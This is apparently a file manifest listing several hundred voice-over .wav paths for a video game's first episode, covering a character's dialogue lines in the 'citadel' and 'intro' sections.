+vo/episode_1/citadel/al_gravgunpowerdown.wav +vo/episode_1/citadel/al_gravgun_backfire.wav +vo/episode_1/citadel/al_gravgun_doingsomething.wav +vo/episode_1/citadel/al_gravgun_handy.wav +vo/episode_1/citadel/al_gravgun_lookatthat.wav +vo/episode_1/citadel/al_gravgun_supercharge.wav +vo/episode_1/citadel/al_harness.wav +vo/episode_1/citadel/al_harness01.wav +vo/episode_1/citadel/al_harness02.wav +vo/episode_1/citadel/al_harness03.wav +vo/episode_1/citadel/al_hatetothink.wav +vo/episode_1/citadel/al_heatupsoon.wav +vo/episode_1/citadel/al_hereslift.wav +vo/episode_1/citadel/al_holdingotherside.wav +vo/episode_1/citadel/al_hoponlift.wav +vo/episode_1/citadel/al_hurrygord01.wav +vo/episode_1/citadel/al_idontgetit.wav +vo/episode_1/citadel/al_idontgetit01.wav +vo/episode_1/citadel/al_idontgetit02.wav +vo/episode_1/citadel/al_ifonlybridgepower.wav +vo/episode_1/citadel/al_ihearturrets.wav +vo/episode_1/citadel/al_illfigurethisout.wav +vo/episode_1/citadel/al_itsgone.wav +vo/episode_1/citadel/al_itsjudith.wav +vo/episode_1/citadel/al_itsthisway.wav +vo/episode_1/citadel/al_itsthiswaygordon.wav +vo/episode_1/citadel/al_itsus.wav +vo/episode_1/citadel/al_itsworking.wav +vo/episode_1/citadel/al_keytounlock.wav +vo/episode_1/citadel/al_kickintohall.wav +vo/episode_1/citadel/al_lemmethink.wav +vo/episode_1/citadel/al_letmegetaccess.wav +vo/episode_1/citadel/al_letsfigureout.wav +vo/episode_1/citadel/al_letsgo01.wav +vo/episode_1/citadel/al_letstrythisway.wav +vo/episode_1/citadel/al_lift_close.wav +vo/episode_1/citadel/al_lift_exposed.wav +vo/episode_1/citadel/al_lift_getitgoing.wav +vo/episode_1/citadel/al_lift_getmoving.wav +vo/episode_1/citadel/al_lift_getoff.wav +vo/episode_1/citadel/al_lift_great.wav +vo/episode_1/citadel/al_lift_great01.wav +vo/episode_1/citadel/al_lift_herewego.wav +vo/episode_1/citadel/al_lift_laststop.wav +vo/episode_1/citadel/al_lift_last_lookout01.wav +vo/episode_1/citadel/al_lift_last_lookout02.wav +vo/episode_1/citadel/al_lift_last_lookup01.wav +vo/episode_1/citadel/al_lift_last_lookup02.wav +vo/episode_1/citadel/al_lift_last_upthere01.wav +vo/episode_1/citadel/al_lift_last_upthere02.wav +vo/episode_1/citadel/al_lift_letsgetoff.wav +vo/episode_1/citadel/al_lift_moving.wav +vo/episode_1/citadel/al_lift_nearmiss01.wav +vo/episode_1/citadel/al_lift_nearmiss02.wav +vo/episode_1/citadel/al_lift_nearmiss03.wav +vo/episode_1/citadel/al_lift_nearmiss04.wav +vo/episode_1/citadel/al_lift_nearmiss05.wav +vo/episode_1/citadel/al_lift_powerout.wav +vo/episode_1/citadel/al_lift_righttrack.wav +vo/episode_1/citadel/al_lift_run.wav +vo/episode_1/citadel/al_lift_stalkerdoing01.wav +vo/episode_1/citadel/al_lift_stalkerdoing02.wav +vo/episode_1/citadel/al_lift_stalkertough.wav +vo/episode_1/citadel/al_lift_stall01.wav +vo/episode_1/citadel/al_lift_stall02.wav +vo/episode_1/citadel/al_lift_stall03.wav +vo/episode_1/citadel/al_lift_stall04.wav +vo/episode_1/citadel/al_lift_stall05.wav +vo/episode_1/citadel/al_lift_stalled.wav +vo/episode_1/citadel/al_lift_startagain.wav +vo/episode_1/citadel/al_lift_stop.wav +vo/episode_1/citadel/al_lift_tocore.wav +vo/episode_1/citadel/al_lift_tocore_new.wav +vo/episode_1/citadel/al_lift_tryagain.wav +vo/episode_1/citadel/al_lift_tryagaingord.wav +vo/episode_1/citadel/al_lift_vulnerable.wav +vo/episode_1/citadel/al_lift_warns01.wav +vo/episode_1/citadel/al_lift_warns02.wav +vo/episode_1/citadel/al_lift_warns03.wav +vo/episode_1/citadel/al_lift_warns04.wav +vo/episode_1/citadel/al_lift_warns05.wav +vo/episode_1/citadel/al_lift_warns06.wav +vo/episode_1/citadel/al_lift_warns07.wav +vo/episode_1/citadel/al_lift_warns08.wav +vo/episode_1/citadel/al_lift_warns09.wav +vo/episode_1/citadel/al_lift_warns10.wav +vo/episode_1/citadel/al_lift_warns11.wav +vo/episode_1/citadel/al_lift_warns12.wav +vo/episode_1/citadel/al_lift_warns13.wav +vo/episode_1/citadel/al_lift_warns14.wav +vo/episode_1/citadel/al_lift_watchout.wav +vo/episode_1/citadel/al_lift_whatsgoingon.wav +vo/episode_1/citadel/al_lift_whatswrong01.wav +vo/episode_1/citadel/al_lift_whatswrong02.wav +vo/episode_1/citadel/al_lookatgravgun.wav +vo/episode_1/citadel/al_lookatsize.wav +vo/episode_1/citadel/al_lookatthem.wav +vo/episode_1/citadel/al_morerollers.wav +vo/episode_1/citadel/al_moretime.wav +vo/episode_1/citadel/al_mostwanted.wav +vo/episode_1/citadel/al_mustbeit.wav +vo/episode_1/citadel/al_nag_keepmoving01.wav +vo/episode_1/citadel/al_nag_keepmoving02.wav +vo/episode_1/citadel/al_nag_keepmoving03.wav +vo/episode_1/citadel/al_nag_stalkcar01.wav +vo/episode_1/citadel/al_nag_stalkcar02.wav +vo/episode_1/citadel/al_noelevator.wav +vo/episode_1/citadel/al_noelevator01.wav +vo/episode_1/citadel/al_noelevator02.wav +vo/episode_1/citadel/al_noelevator03.wav +vo/episode_1/citadel/al_nothangaround.wav +vo/episode_1/citadel/al_nothangaround01.wav +vo/episode_1/citadel/al_nothangaround02.wav +vo/episode_1/citadel/al_notimetodealwiththis01.wav +vo/episode_1/citadel/al_notimetodealwiththis02.wav +vo/episode_1/citadel/al_offscale.wav +vo/episode_1/citadel/al_okletsgo01.wav +vo/episode_1/citadel/al_onfoot.wav +vo/episode_1/citadel/al_onlywayiknow01.wav +vo/episode_1/citadel/al_onlywayiknow02.wav +vo/episode_1/citadel/al_onlywaytocore.wav +vo/episode_1/citadel/al_outcontact.wav +vo/episode_1/citadel/al_outofbullets.wav +vo/episode_1/citadel/al_placecomingapart01.wav +vo/episode_1/citadel/al_placecomingapart02.wav +vo/episode_1/citadel/al_platform_coast.wav +vo/episode_1/citadel/al_platform_comeon.wav +vo/episode_1/citadel/al_platform_company.wav +vo/episode_1/citadel/al_platform_getaway.wav +vo/episode_1/citadel/al_platform_getin.wav +vo/episode_1/citadel/al_platform_getingordon.wav +vo/episode_1/citadel/al_platform_getready.wav +vo/episode_1/citadel/al_platform_heretheycome.wav +vo/episode_1/citadel/al_platform_hurry.wav +vo/episode_1/citadel/al_platform_lookatem.wav +vo/episode_1/citadel/al_platform_rollers.wav +vo/episode_1/citadel/al_platform_slowthem01.wav +vo/episode_1/citadel/al_platform_slowthem02.wav +vo/episode_1/citadel/al_platform_taketrain01.wav +vo/episode_1/citadel/al_platform_taketrain02.wav +vo/episode_1/citadel/al_platform_theyknow01.wav +vo/episode_1/citadel/al_platform_theyknow02.wav +vo/episode_1/citadel/al_platform_wontexpect.wav +vo/episode_1/citadel/al_podpull_01.wav +vo/episode_1/citadel/al_podpull_02.wav +vo/episode_1/citadel/al_podpull_03.wav +vo/episode_1/citadel/al_pod_lookout.wav +vo/episode_1/citadel/al_postcore_atwindow01.wav +vo/episode_1/citadel/al_postcore_atwindow02.wav +vo/episode_1/citadel/al_postcore_atwindow03.wav +vo/episode_1/citadel/al_postcore_atwindow04.wav +vo/episode_1/citadel/al_postcore_atwindow05.wav +vo/episode_1/citadel/al_postcore_atwindow06.wav +vo/episode_1/citadel/al_postcore_atwindow_new02.wav +vo/episode_1/citadel/al_postcore_atwindow_new03.wav +vo/episode_1/citadel/al_postcore_atwindow_new04.wav +vo/episode_1/citadel/al_postcore_atwindow_new05.wav +vo/episode_1/citadel/al_postcore_downloaddone01.wav +vo/episode_1/citadel/al_postcore_downloaddone02.wav +vo/episode_1/citadel/al_postcore_downloaddone03.wav +vo/episode_1/citadel/al_postcore_exitelev01.wav +vo/episode_1/citadel/al_postcore_exitelev02.wav +vo/episode_1/citadel/al_postcore_exitelev03.wav +vo/episode_1/citadel/al_postcore_feltthat01.wav +vo/episode_1/citadel/al_postcore_feltthat02.wav +vo/episode_1/citadel/al_postcore_feltthat03.wav +vo/episode_1/citadel/al_postcore_follow.wav +vo/episode_1/citadel/al_postcore_getin.wav +vo/episode_1/citadel/al_postcore_gravgun01.wav +vo/episode_1/citadel/al_postcore_gravgun02.wav +vo/episode_1/citadel/al_postcore_hardpartover.wav +vo/episode_1/citadel/al_postcore_hitch01.wav +vo/episode_1/citadel/al_postcore_hitch02.wav +vo/episode_1/citadel/al_postcore_hurry01.wav +vo/episode_1/citadel/al_postcore_hurry02.wav +vo/episode_1/citadel/al_postcore_hurry03.wav +vo/episode_1/citadel/al_postcore_hurry04.wav +vo/episode_1/citadel/al_postcore_mail.wav +vo/episode_1/citadel/al_postcore_meanwhile.wav +vo/episode_1/citadel/al_postcore_route.wav +vo/episode_1/citadel/al_postcore_sideeffect01.wav +vo/episode_1/citadel/al_postcore_sideeffect02.wav +vo/episode_1/citadel/al_postcore_sideeffect03.wav +vo/episode_1/citadel/al_postcore_sideeffect04.wav +vo/episode_1/citadel/al_postcore_sideeffect05.wav +vo/episode_1/citadel/al_postcore_sideeffect06.wav +vo/episode_1/citadel/al_postcore_sideeffect07.wav +vo/episode_1/citadel/al_postcore_sideeffect08.wav +vo/episode_1/citadel/al_postcore_sideeffect09.wav +vo/episode_1/citadel/al_postcore_something.wav +vo/episode_1/citadel/al_postcore_takealook01.wav +vo/episode_1/citadel/al_postcore_takealook02.wav +vo/episode_1/citadel/al_postcore_trainrunning01.wav +vo/episode_1/citadel/al_postcore_trainrunning02.wav +vo/episode_1/citadel/al_postcore_trouble01.wav +vo/episode_1/citadel/al_postcore_trouble02.wav +vo/episode_1/citadel/al_postcore_trouble03.wav +vo/episode_1/citadel/al_postcore_whereisshe.wav +vo/episode_1/citadel/al_powerball01.wav +vo/episode_1/citadel/al_powerball02.wav +vo/episode_1/citadel/al_powertobridge.wav +vo/episode_1/citadel/al_pushitout.wav +vo/episode_1/citadel/al_random01.wav +vo/episode_1/citadel/al_random02.wav +vo/episode_1/citadel/al_remindsmeofnp01.wav +vo/episode_1/citadel/al_remindsmeofnp02.wav +vo/episode_1/citadel/al_right.wav +vo/episode_1/citadel/al_rolleragain.wav +vo/episode_1/citadel/al_roller_cantinterrupt01.wav +vo/episode_1/citadel/al_roller_cantinterrupt02.wav +vo/episode_1/citadel/al_roller_cantinterrupt03.wav +vo/episode_1/citadel/al_roller_cantinterrupt04.wav +vo/episode_1/citadel/al_roller_cantinterrupt05.wav +vo/episode_1/citadel/al_roll_bring.wav +vo/episode_1/citadel/al_roll_getthisopen.wav +vo/episode_1/citadel/al_roll_grab01.wav +vo/episode_1/citadel/al_roll_gravgun.wav +vo/episode_1/citadel/al_roll_guardoutthere.wav +vo/episode_1/citadel/al_roll_holdout01.wav +vo/episode_1/citadel/al_roll_holdout02.wav +vo/episode_1/citadel/al_roll_icanhack.wav +vo/episode_1/citadel/al_roll_letgo01.wav +vo/episode_1/citadel/al_roll_letssee.wav +vo/episode_1/citadel/al_roll_shortlive.wav +vo/episode_1/citadel/al_roll_steady01.wav +vo/episode_1/citadel/al_roll_thinking.wav +vo/episode_1/citadel/al_safeforme.wav +vo/episode_1/citadel/al_safeforme01.wav +vo/episode_1/citadel/al_safeforme02.wav +vo/episode_1/citadel/al_safetillheats.wav +vo/episode_1/citadel/al_sameaslast_bridge.wav +vo/episode_1/citadel/al_sameideaasus.wav +vo/episode_1/citadel/al_seewhaticanget.wav +vo/episode_1/citadel/al_shallwe.wav +vo/episode_1/citadel/al_shotathacking.wav +vo/episode_1/citadel/al_shutitoff.wav +vo/episode_1/citadel/al_soldiersbusy.wav +vo/episode_1/citadel/al_stabilize.wav +vo/episode_1/citadel/al_stalk1_alloversoon.wav +vo/episode_1/citadel/al_stalk1_keepmoving.wav +vo/episode_1/citadel/al_stalk1_omg.wav +vo/episode_1/citadel/al_stalk1_poorsouls.wav +vo/episode_1/citadel/al_stalkcar_download01.wav +vo/episode_1/citadel/al_stalkcar_download02.wav +vo/episode_1/citadel/al_stalkcar_download03.wav +vo/episode_1/citadel/al_stalkcar_download04.wav +vo/episode_1/citadel/al_stalkcar_yougoahead.wav +vo/episode_1/citadel/al_stalkdestroy.wav +vo/episode_1/citadel/al_stalkeromg.wav +vo/episode_1/citadel/al_stalkersagain.wav +vo/episode_1/citadel/al_stalkers_anotherway01.wav +vo/episode_1/citadel/al_stalkers_anotherway02.wav +vo/episode_1/citadel/al_stalkers_disable01.wav +vo/episode_1/citadel/al_stalkers_disable02.wav +vo/episode_1/citadel/al_stalkers_disable03.wav +vo/episode_1/citadel/al_stalkers_disable04.wav +vo/episode_1/citadel/al_stalkers_disable05.wav +vo/episode_1/citadel/al_stalkers_fielddown01.wav +vo/episode_1/citadel/al_stalkers_fielddown02.wav +vo/episode_1/citadel/al_stalkers_findmeone.wav +vo/episode_1/citadel/al_stalkers_findroller.wav +vo/episode_1/citadel/al_stalkers_getthrunow01.wav +vo/episode_1/citadel/al_stalkers_getthrunow02.wav +vo/episode_1/citadel/al_stalkers_good01.wav +vo/episode_1/citadel/al_stalkers_good02.wav +vo/episode_1/citadel/al_stalkers_hm01.wav +vo/episode_1/citadel/al_stalkers_hm02.wav +vo/episode_1/citadel/al_stalkers_holditout.wav +vo/episode_1/citadel/al_stalkers_idea01.wav +vo/episode_1/citadel/al_stalkers_idea02.wav +vo/episode_1/citadel/al_stalkers_letitgo01.wav +vo/episode_1/citadel/al_stalkers_letitgo02.wav +vo/episode_1/citadel/al_stalkers_omg01.wav +vo/episode_1/citadel/al_stalkers_omg02.wav +vo/episode_1/citadel/al_stalkers_pitchit.wav +vo/episode_1/citadel/al_stalkers_reason.wav +vo/episode_1/citadel/al_stalkers_thereitis.wav +vo/episode_1/citadel/al_stalkers_trick01.wav +vo/episode_1/citadel/al_stalkers_trick02.wav +vo/episode_1/citadel/al_stalkers_trick03.wav +vo/episode_1/citadel/al_stalkers_trick04.wav +vo/episode_1/citadel/al_stalkers_trick05.wav +vo/episode_1/citadel/al_stalker_gasp.wav +vo/episode_1/citadel/al_stalk_brace.wav +vo/episode_1/citadel/al_stalk_breath01.wav +vo/episode_1/citadel/al_stalk_breath02.wav +vo/episode_1/citadel/al_stalk_breath03.wav +vo/episode_1/citadel/al_stalk_breath04.wav +vo/episode_1/citadel/al_stalk_coveritup.wav +vo/episode_1/citadel/al_stalk_crushed01.wav +vo/episode_1/citadel/al_stalk_crushed02.wav +vo/episode_1/citadel/al_stalk_derail_omg.wav +vo/episode_1/citadel/al_stalk_getemoff01.wav +vo/episode_1/citadel/al_stalk_getemoff02.wav +vo/episode_1/citadel/al_stalk_getemoff03.wav +vo/episode_1/citadel/al_stalk_getemoff04.wav +vo/episode_1/citadel/al_stalk_getemoff05.wav +vo/episode_1/citadel/al_stalk_getemoff06.wav +vo/episode_1/citadel/al_stalk_getemoff07.wav +vo/episode_1/citadel/al_stalk_getemoff08.wav +vo/episode_1/citadel/al_stalk_getemoff09.wav +vo/episode_1/citadel/al_stalk_getemoff10.wav +vo/episode_1/citadel/al_stalk_getemoff11.wav +vo/episode_1/citadel/al_stalk_godogod01.wav +vo/episode_1/citadel/al_stalk_godogod02.wav +vo/episode_1/citadel/al_stalk_hitit.wav +vo/episode_1/citadel/al_stalk_hopeyoudontremember.wav +vo/episode_1/citadel/al_stalk_itsmoving.wav +vo/episode_1/citadel/al_stalk_letsgetout.wav +vo/episode_1/citadel/al_stalk_lookatthem01.wav +vo/episode_1/citadel/al_stalk_lookatthem02.wav +vo/episode_1/citadel/al_stalk_lookatthem03.wav +vo/episode_1/citadel/al_stalk_makestop01.wav +vo/episode_1/citadel/al_stalk_makestop02.wav +vo/episode_1/citadel/al_stalk_makestop03.wav +vo/episode_1/citadel/al_stalk_notalone.wav +vo/episode_1/citadel/al_stalk_ohno.wav +vo/episode_1/citadel/al_stalk_ohnostalkercar01.wav +vo/episode_1/citadel/al_stalk_ohnostalkercar02.wav +vo/episode_1/citadel/al_stalk_okclear.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere01.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere02.wav +vo/episode_1/citadel/al_stalk_okletsgetoutofhere03.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming01.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming02.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming03.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming04.wav +vo/episode_1/citadel/al_stalk_pleasestopscreaming05.wav +vo/episode_1/citadel/al_stalk_pull.wav +vo/episode_1/citadel/al_stalk_savedourlives.wav +vo/episode_1/citadel/al_stalk_seewhereheaded01.wav +vo/episode_1/citadel/al_stalk_seewhereheaded02.wav +vo/episode_1/citadel/al_stalk_seewhereheaded03.wav +vo/episode_1/citadel/al_stalk_story01.wav +vo/episode_1/citadel/al_stalk_story02.wav +vo/episode_1/citadel/al_stalk_story03.wav +vo/episode_1/citadel/al_stalk_story04.wav +vo/episode_1/citadel/al_stalk_story05.wav +vo/episode_1/citadel/al_stalk_story06.wav +vo/episode_1/citadel/al_stalk_straightout01.wav +vo/episode_1/citadel/al_stalk_straightout02.wav +vo/episode_1/citadel/al_stalk_straightout03.wav +vo/episode_1/citadel/al_stalk_thanks.wav +vo/episode_1/citadel/al_stalk_thereitgoes.wav +vo/episode_1/citadel/al_stalk_train.wav +vo/episode_1/citadel/al_stalk_train01.wav +vo/episode_1/citadel/al_stalk_train02.wav +vo/episode_1/citadel/al_stalk_train03.wav +vo/episode_1/citadel/al_stalk_trygravgun01.wav +vo/episode_1/citadel/al_stalk_trygravgun02.wav +vo/episode_1/citadel/al_stalk_volunteer02.wav +vo/episode_1/citadel/al_stalk_volunteer_mild01.wav +vo/episode_1/citadel/al_stalk_volunteer_mild02.wav +vo/episode_1/citadel/al_stalk_whatsthat.wav +vo/episode_1/citadel/al_stalk_wrongplace.wav +vo/episode_1/citadel/al_start_getgravgun01.wav +vo/episode_1/citadel/al_start_getgravgun02.wav +vo/episode_1/citadel/al_start_getgravgun03.wav +vo/episode_1/citadel/al_stillhurry.wav +vo/episode_1/citadel/al_storingpods.wav +vo/episode_1/citadel/al_streaming.wav +vo/episode_1/citadel/al_strider_whoa.wav +vo/episode_1/citadel/al_strippedforparts01.wav +vo/episode_1/citadel/al_strippedforparts02.wav +vo/episode_1/citadel/al_strippedforparts03.wav +vo/episode_1/citadel/al_strippedforparts04.wav +vo/episode_1/citadel/al_takeoutstalker.wav +vo/episode_1/citadel/al_takethemwithit.wav +vo/episode_1/citadel/al_takeusoutcity.wav +vo/episode_1/citadel/al_terminalaround.wav +vo/episode_1/citadel/al_terminalexplode.wav +vo/episode_1/citadel/al_thankskeepmoving01.wav +vo/episode_1/citadel/al_thankskeepmoving02.wav +vo/episode_1/citadel/al_thatwasclose.wav +vo/episode_1/citadel/al_theregoesbridge.wav +vo/episode_1/citadel/al_theresone.wav +vo/episode_1/citadel/al_theywontbother.wav +vo/episode_1/citadel/al_thinkwecangetthru.wav +vo/episode_1/citadel/al_thinkwegothisway.wav +vo/episode_1/citadel/al_thisway.wav +vo/episode_1/citadel/al_timetomap01.wav +vo/episode_1/citadel/al_timetomap02.wav +vo/episode_1/citadel/al_tocommuter.wav +vo/episode_1/citadel/al_traitor.wav +vo/episode_1/citadel/al_traitor01.wav +vo/episode_1/citadel/al_traitor02.wav +vo/episode_1/citadel/al_tryanother.wav +vo/episode_1/citadel/al_tryanotherroller.wav +vo/episode_1/citadel/al_ugh01.wav +vo/episode_1/citadel/al_unstable01.wav +vo/episode_1/citadel/al_unstable02.wav +vo/episode_1/citadel/al_uptoyou.wav +vo/episode_1/citadel/al_van_drops.wav +vo/episode_1/citadel/al_vtex_behind.wav +vo/episode_1/citadel/al_vtex_imadeit.wav +vo/episode_1/citadel/al_vtex_omgcross.wav +vo/episode_1/citadel/al_warmachine.wav +vo/episode_1/citadel/al_watchstep_citadel.wav +vo/episode_1/citadel/al_weaponstripper01.wav +vo/episode_1/citadel/al_weaponstripper02.wav +vo/episode_1/citadel/al_weird.wav +vo/episode_1/citadel/al_whatswithgravgun.wav +vo/episode_1/citadel/al_whatthisplace.wav +vo/episode_1/citadel/al_wherewegoing.wav +vo/episode_1/citadel/al_whereyougoing.wav +vo/episode_1/citadel/al_whowasthat.wav +vo/episode_1/citadel/al_whystopping.wav +vo/episode_1/citadel/al_wideopen.wav +vo/episode_1/citadel/al_wishyouwouldnt.wav +vo/episode_1/citadel/al_worstover.wav +vo/episode_1/citadel/al_youknowwhat.wav +vo/episode_1/citadel/al_youreclear.wav +vo/episode_1/citadel/mo_intercept01.wav +vo/episode_1/citadel/mo_intercept02.wav +vo/episode_1/citadel/mo_intercept03.wav +vo/episode_1/citadel/mo_intercept04.wav +vo/episode_1/citadel/mo_intercept05.wav +vo/episode_1/citadel/mo_intercept06.wav +vo/episode_1/citadel/mo_intercept07.wav +vo/episode_1/intro/al_accessbridge.wav +vo/episode_1/intro/al_accessbridges.wav +vo/episode_1/intro/al_alittleclose01.wav +vo/episode_1/intro/al_alittleclose02.wav +vo/episode_1/intro/al_alittleclose03.wav +vo/episode_1/intro/al_allrightdog.wav +vo/episode_1/intro/al_allsostrange.wav +vo/episode_1/intro/al_allsostrange_new.wav +vo/episode_1/intro/al_antenna01.wav +vo/episode_1/intro/al_antenna02.wav +vo/episode_1/intro/al_antenna03.wav +vo/episode_1/intro/al_antenna04.wav +vo/episode_1/intro/al_antenna05.wav +vo/episode_1/intro/al_backintocitadel.wav +vo/episode_1/intro/al_backintocitadel01.wav +vo/episode_1/intro/al_backintocitadel02.wav +vo/episode_1/intro/al_bettergetoutofhere.wav +vo/episode_1/intro/al_betterluck.wav +vo/episode_1/intro/al_bettersuggestion.wav +vo/episode_1/intro/al_bettersuggestion01.wav +vo/episode_1/intro/al_bettersuggestion02.wav +vo/episode_1/intro/al_butdad.wav +vo/episode_1/intro/al_callingdog01.wav +vo/episode_1/intro/al_cantbelieveit.wav +vo/episode_1/intro/al_careful.wav +vo/episode_1/intro/al_carefulboy.wav +vo/episode_1/intro/al_carefulholdon.wav +vo/episode_1/intro/al_cellar_stilldunno01.wav +vo/episode_1/intro/al_cellar_stilldunno02.wav +vo/episode_1/intro/al_cellar_stilldunno03.wav +vo/episode_1/intro/al_cellar_stilldunno04.wav +vo/episode_1/intro/al_cellar_stilldunno05.wav +vo/episode_1/intro/al_cellar_stilldunno06.wav +vo/episode_1/intro/al_changemind01.wav +vo/episode_1/intro/al_changemind02.wav +vo/episode_1/intro/al_changemind03.wav +vo/episode_1/intro/al_chasm_dogallright.wav +vo/episode_1/intro/al_chasm_dogideas01.wav +vo/episode_1/intro/al_chasm_dogideas02.wav +vo/episode_1/intro/al_chasm_dogideas03.wav +vo/episode_1/intro/al_chasm_forgetpacking01.wav +vo/episode_1/intro/al_chasm_forgetpacking02.wav +vo/episode_1/intro/al_chasm_getbackin.wav +vo/episode_1/intro/al_chasm_noteasy.wav +vo/episode_1/intro/al_chasm_nothelpful01.wav +vo/episode_1/intro/al_chasm_nothelpful02.wav +vo/episode_1/intro/al_chasm_scanner01.wav +vo/episode_1/intro/al_chasm_scanner02.wav +vo/episode_1/intro/al_chasm_scaredhell.wav +vo/episode_1/intro/al_chasm_staywithus01.wav +vo/episode_1/intro/al_chasm_staywithus02.wav +vo/episode_1/intro/al_chasm_vertigo01.wav +vo/episode_1/intro/al_chasm_vertigo02.wav +vo/episode_1/intro/al_chasm_whatstakinghim.wav +vo/episode_1/intro/al_chasm_wheredog01.wav +vo/episode_1/intro/al_chasm_wheredog02.wav +vo/episode_1/intro/al_chasm_wheredog03.wav +vo/episode_1/intro/al_chuckle01.wav +vo/episode_1/intro/al_clearapath.wav +vo/episode_1/intro/al_cliff_afteryou01.wav +vo/episode_1/intro/al_cliff_afteryou02.wav +vo/episode_1/intro/al_cliff_careful.wav +vo/episode_1/intro/al_comeondog.wav +vo/episode_1/intro/al_comingdog.wav +vo/episode_1/intro/al_dadiloveyou01.wav +vo/episode_1/intro/al_dadiloveyou02.wav +vo/episode_1/intro/al_dadwassure.wav +vo/episode_1/intro/al_dadyouthere.wav +vo/episode_1/intro/al_dadyouthere01.wav +vo/episode_1/intro/al_dadyouthere02.wav +vo/episode_1/intro/al_dadyouthere03.wav +vo/episode_1/intro/al_dad_monitor01.wav +vo/episode_1/intro/al_dad_monitor02.wav +vo/episode_1/intro/al_damn.wav +vo/episode_1/intro/al_diddothemath.wav +vo/episode_1/intro/al_dogareyou.wav +vo/episode_1/intro/al_dogcouldhavekilledus.wav +vo/episode_1/intro/al_doggivehand.wav +vo/episode_1/intro/al_doggivemehand.wav +vo/episode_1/intro/al_doglittlehelp.wav +vo/episode_1/intro/al_dogmonitorsetup.wav +vo/episode_1/intro/al_dogmonitorsetup01.wav +vo/episode_1/intro/al_dogmonitorsetup02.wav +vo/episode_1/intro/al_dogmonitorsetup_alt1.wav +vo/episode_1/intro/al_dogmonitorsetup_alt2.wav +vo/episode_1/intro/al_dognotserious.wav +vo/episode_1/intro/al_dognotserious01.wav +vo/episode_1/intro/al_dognotserious02.wav +vo/episode_1/intro/al_dognotserious03.wav +vo/episode_1/intro/al_dognotserious04.wav +vo/episode_1/intro/al_dognotserious_alt.wav +vo/episode_1/intro/al_dogshappy.wav +vo/episode_1/intro/al_dogshappy01.wav +vo/episode_1/intro/al_dogshappy02.wav +vo/episode_1/intro/al_dogshappy03.wav +vo/episode_1/intro/al_dogwatchit.wav +vo/episode_1/intro/al_dogwatchsignal.wav +vo/episode_1/intro/al_dogwhatareyou.wav +vo/episode_1/intro/al_dogwhatareyoudoing.wav +vo/episode_1/intro/al_dogwhatyougot.wav +vo/episode_1/intro/al_dogyoufoundhim.wav +vo/episode_1/intro/al_dogyouseeanything.wav +vo/episode_1/intro/al_dontworry.wav +vo/episode_1/intro/al_dontworryaboutme.wav +vo/episode_1/intro/al_dontworrydad.wav +vo/episode_1/intro/al_downtowire.wav +vo/episode_1/intro/al_fewbolts01.wav +vo/episode_1/intro/al_fewbolts02.wav +vo/episode_1/intro/al_figureouthow.wav +vo/episode_1/intro/al_findanotherway.wav +vo/episode_1/intro/al_getinvan_nag01.wav +vo/episode_1/intro/al_getinvan_nag02.wav +vo/episode_1/intro/al_getinvan_nag03.wav +vo/episode_1/intro/al_getinvan_nag04.wav +vo/episode_1/intro/al_goodboy.wav +vo/episode_1/intro/al_gooddog01.wav +vo/episode_1/intro/al_goodthrow.wav +vo/episode_1/intro/al_goonboy.wav +vo/episode_1/intro/al_goovertheredog.wav +vo/episode_1/intro/al_gordon.wav +vo/episode_1/intro/al_gordonallright.wav +vo/episode_1/intro/al_gottahurrydog.wav +vo/episode_1/intro/al_gravgunholdonto.wav +vo/episode_1/intro/al_gravgunholdonto01.wav +vo/episode_1/intro/al_gravgunholdonto02.wav +vo/episode_1/intro/al_gravgunholdonto03.wav +vo/episode_1/intro/al_hastobearoundhere.wav +vo/episode_1/intro/al_hastobeawayacross01.wav +vo/episode_1/intro/al_hastobeawayacross02.wav +vo/episode_1/intro/al_headingoutnow.wav +vo/episode_1/intro/al_helpmedog.wav +vo/episode_1/intro/al_hesalive.wav +vo/episode_1/intro/al_hesalivegethimout.wav +vo/episode_1/intro/al_holdasec.wav +vo/episode_1/intro/al_holdon.wav +vo/episode_1/intro/al_hopelessnoaccess.wav +vo/episode_1/intro/al_hopelessnoaccess01.wav +vo/episode_1/intro/al_hopelessnoaccess02.wav +vo/episode_1/intro/al_howcouldanyonelive.wav +vo/episode_1/intro/al_howgetacross.wav +vo/episode_1/intro/al_hurrydog.wav +vo/episode_1/intro/al_hurrygordon01.wav +vo/episode_1/intro/al_ifwefoundaway01.wav +vo/episode_1/intro/al_ifwefoundaway02.wav +vo/episode_1/intro/al_ipromise.wav +vo/episode_1/intro/al_ishe.wav +vo/episode_1/intro/al_isthisit.wav +vo/episode_1/intro/al_itoldyoudad.wav +vo/episode_1/intro/al_itoldyoudad01.wav +vo/episode_1/intro/al_itoldyoudad02.wav +vo/episode_1/intro/al_itsmydad.wav +vo/episode_1/intro/al_itsmydad_new.wav +vo/episode_1/intro/al_judithgotaway.wav +vo/episode_1/intro/al_letsgetoff.wav +vo/episode_1/intro/al_lookout01.wav +vo/episode_1/intro/al_lookoutforvan.wav +vo/episode_1/intro/al_missyoutoo.wav +vo/episode_1/intro/al_movejunk.wav +vo/episode_1/intro/al_noseatbelts.wav +vo/episode_1/intro/al_notgonnawork.wav +vo/episode_1/intro/al_nottimetoplay.wav +vo/episode_1/intro/al_notyourfault.wav +vo/episode_1/intro/al_nowgoboy.wav +vo/episode_1/intro/al_ohgordon.wav +vo/episode_1/intro/al_omg01.wav +vo/episode_1/intro/al_omg02.wav +vo/episode_1/intro/al_omgdog01.wav +vo/episode_1/intro/al_omgdog02.wav +vo/episode_1/intro/al_omgdog03.wav +vo/episode_1/intro/al_onceacross.wav +vo/episode_1/intro/al_onceacross01.wav +vo/episode_1/intro/al_onceacross02.wav +vo/episode_1/intro/al_onceacross03.wav +vo/episode_1/intro/al_onhistrail.wav +vo/episode_1/intro/al_packupdog.wav +vo/episode_1/intro/al_putdown.wav +vo/episode_1/intro/al_putdown01.wav +vo/episode_1/intro/al_putdown02.wav +vo/episode_1/intro/al_putdown03.wav +vo/episode_1/intro/al_putdown04.wav +vo/episode_1/intro/al_quitgoofing.wav +vo/episode_1/intro/al_seefindway.wav +vo/episode_1/intro/al_seeforyourself.wav +vo/episode_1/intro/al_seeforyourself01.wav +vo/episode_1/intro/al_seeforyourself02.wav +vo/episode_1/intro/al_seeyousoon01.wav 